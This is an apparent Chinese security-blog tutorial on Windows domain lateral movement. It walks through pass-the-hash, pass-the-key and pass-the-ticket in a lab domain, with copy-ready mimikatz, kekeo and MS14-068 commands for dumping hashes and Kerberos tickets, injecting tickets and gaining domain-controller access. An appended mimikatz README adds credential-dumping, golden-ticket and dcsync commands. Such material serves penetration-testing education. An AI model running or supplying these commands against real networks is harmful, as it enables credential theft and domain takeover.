内网安全 - 域横向 PTH&PTK&PTT

基础知识

PTH(pass the hash) : 利用 lm 或 ntlm 的值。
PTT(pass the ticket): 利用的票据凭证 TGT 。
PTK(pass the key) : 利用的 ekeys 、aes256 。

	PTH在内网渗透种是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
	如果禁用lentlm认证,PsExec无法利用获得的ntml hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的win7/2008r/8/2012等,可以利用AES keys代替NT 哈市来实现ptk攻击
总结:KB2871997补丁后的影响
pth:没打补丁用户都可以连接,打了补丁只能administrator连接
ptk:打了补丁所有用户都可以连接,采用aws256连接
参考:https://www.freebuf.com/column/220740.html

PTT票据攻击的协议:Kerberos 协议
---(票据类似于cookie,客户机(浏览器)可以通过cookie也就是票据对服务器进行重新连接)
---客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用krbtgt密码 ,hash作为密钥),发送给 kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket允许票据)(类似服务器生成cookie)
---将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取 kerberos 中TGT数据(服务器将cookie返回给浏览器,这里只有域用户才能读取)
---然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对 TGT 进行检测(浏览器再次访问时,服务器对cookie进行检验)
---检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。(获取到票据后,就可以直接和域内靶机进行连接)

	PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常⻅的
攻击方法:MS-068.Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068基于漏洞,Golden ticket(⻩金票据),SILVER ticket(白银票据)
其中Golden ticket(⻩金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管理权限。微软给出的补丁是kb3011780

域横向移动PTH传递-Mimikatz

-在域web服务器以本地管理员登陆,打开powershell运行mimikatz
LM与NTLM收集:
在这里插入图片描述
如果是进行PTK传递,就通过:sekurlsa::ekeys获取aes256(这里要安装了KB2871997 补丁后才能进行PTK通过aes256连接)
在这里插入图片描述
当收集到NTLM数据后,有可能内网中其他主机的NTLM值与我们收集到的一致。此时我们就可以使用NTLM进行内网横向渗透。

# mimikatz
privilege::debug

sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
 
sekurlsa::pth(通过PTH连接) /user(用户名):administrator /domain(域名):god /ntlm(哈希密码):ccef208c6485269c20db2cad21734fe7 

收集到信息,使用mimikatz pth 建立连接:
在这里插入图片描述
攻击命令上并没有指定IP地址,这是一种随机攻击,IP地址是前期信息收集的,连接时,可以遍历收集到的IP地址,看哪个有回显。
攻击成功反弹回来了一个cmd,在这个cmd中进行连接。
在这里插入图片描述
在弹出的CMD中来执行后续操作,如添加用户或者做权限维持。
在这里插入图片描述
如果IP地址不识别,就换成计算机名,之后就和 at&schtasks一样了,复制文件,执行文件等,收集信息,攻击另外一台主机。

域横向移动PTK传递-mimikatz

PTK aes256 传递,打补丁后的工作组及域连接(是打了kb2871997补丁才能用,很奇怪):

sekurlsa::ekeys    #获取 aes
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
#同理,爆破时这三个地方也都可以当做字典

域横向移动 PTT 传递-MS14068(主要)&kekeo&local

利用 MS14068漏洞

该漏洞能实现普通用户直接获取域控system权限:

具体步骤:
1.查看当前 sid 
	whoami/user
2.清空当前机器在中所有凭证(如果有域成员凭证会影响凭证伪造)
	mimikatz #kerberos::purge   清空凭证
	mimikatz# kerberos::list //查看当前机器凭证
	mimikatz# kerberos::ptc 票据文件 //将票据注入到内存中
3.利用ms14-068生成TGT数据
	ms14-058.exe 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
	MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331 -2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

4.票据注入内存
	mimikatz# kerberos::ptc TGT_mary@god.org.ccache
5.利用 
	dir \\计算机名\C$

6.总结:
	不需要域控的明文或者哈希密码等
	能直接获取域控的system权限
	可以使用一键化的mimikatz

MS14-068下载:

演示:
1.获取SID值
在这里插入图片描述
2.清空当前机器在中所有凭证
mimikatz #kerberos::purge
klist purge在powershell中清空票据
在这里插入图片描述

3.利用ms14-068生成TGT数据 powershell运行
ms14-058.exe 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
在这里插入图片描述
可以看到已经生成了TGT数据 :TGT_mary@god.org.ccache

4.使用 mimikatz将票据注入内存
在这里插入图片描述
5. klist 查看凭据,看是否注入成功。
发现出来了一个凭据
6.

6.利用
在这里插入图片描述

利用kekeo工具
1.生成票据这里需要mary的哈希密码)
./kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"

2.导入票据
	kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

3. 查看凭证
klist

4. 利用 
dir \\OWA20210CN-God.god.org\c$

kekeo下载

演示:
1.生成票据这里需要mary的哈希密码)在这里插入图片描述
2.导入票据
在这里插入图片描述
3. 查看凭证
在这里插入图片描述
4.利用
dir \OWA20210CN-God.god.org\c$

local 利用本地票据(需要管理员权限)
原理就是假如有原来建立连接的本地票据,导出来利用:
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export            # 收集本地票据
mimikatz # kerberos::ptt xxxxxxxxxx.xxxx.kirbi     # 收集之后导入到内存中

缺陷:ptt只能保持10个小时,如果能拿到10个小时内的凭据,可以成功

Ladon 内网工具: http://k8gege.org/Ladon/

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
mimikatz mimikatz is a tool I've made to learn C and make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets. .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 13 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 515764 (00000000:0007deb4) Session : Interactive from 2 User Name : Gentil Kiwi Domain : vm-w7-ult-x SID : S-1-5-21-1982681256-1210654043-1600862990-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult-x * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult-x * Password : waza1234/ ... But that's not all! Crypto, Terminal Server, Events, ... lots of informations in the GitHub Wiki https://github.com/gentilkiwi/mimikatz/wiki or on http://blog.gentilkiwi.com (in French, yes). If you don't want to build it, binaries are availables on https://github.com/gentilkiwi/mimikatz/releases Quick usage log privilege::debug sekurlsa sekurlsa::logonpasswords sekurlsa::tickets /export sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd kerberos kerberos::list /export kerberos::ptt c:\chocolate.kirbi kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi crypto crypto::capi crypto::cng crypto::certificates /export crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE crypto::keys /export crypto::keys /machine /export vault & lsadump vault::cred vault::list token::elevate vault::cred vault::list lsadump::sam lsadump::secrets lsadump::cache token::revert lsadump::dcsync /user:domain\krbtgt /domain:lab.local Build mimikatz is in the form of a Visual Studio Solution and a WinDDK driver (optional for main operations), so prerequisites are: - for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=44914) - for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 mimikatz uses SVN for source control, but is now available with GIT too! You can use any tools you want to sync, even incorporated GIT in Visual Studio 2013 =) Synchronize! - GIT URL is : https://github.com/gentilkiwi/mimikatz.git - SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk - ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip Build the solution - After opening the solution, Build / Build Solution (you can change architecture) - mimikatz is now built and ready to be used! (Win32 / x64) - you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK. ddk2003 With this optional MSBuild platform, you can use the WinDDK build tools, and the default msvcrt runtime (smaller binaries, no dependencies) For this optional platform, Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800 and Visual Studio 2010 are mandatory, even if you plan to use Visual Studio 2012 or 2013 after. Follow instructions: - http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme - http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader Licence CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/ Author - Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com ) - DCSync function in lsadump module was co-writed with Vincent LE TOUX, you contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com ) This is a personal development, please respect its philosophy and don't use it for bad things!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值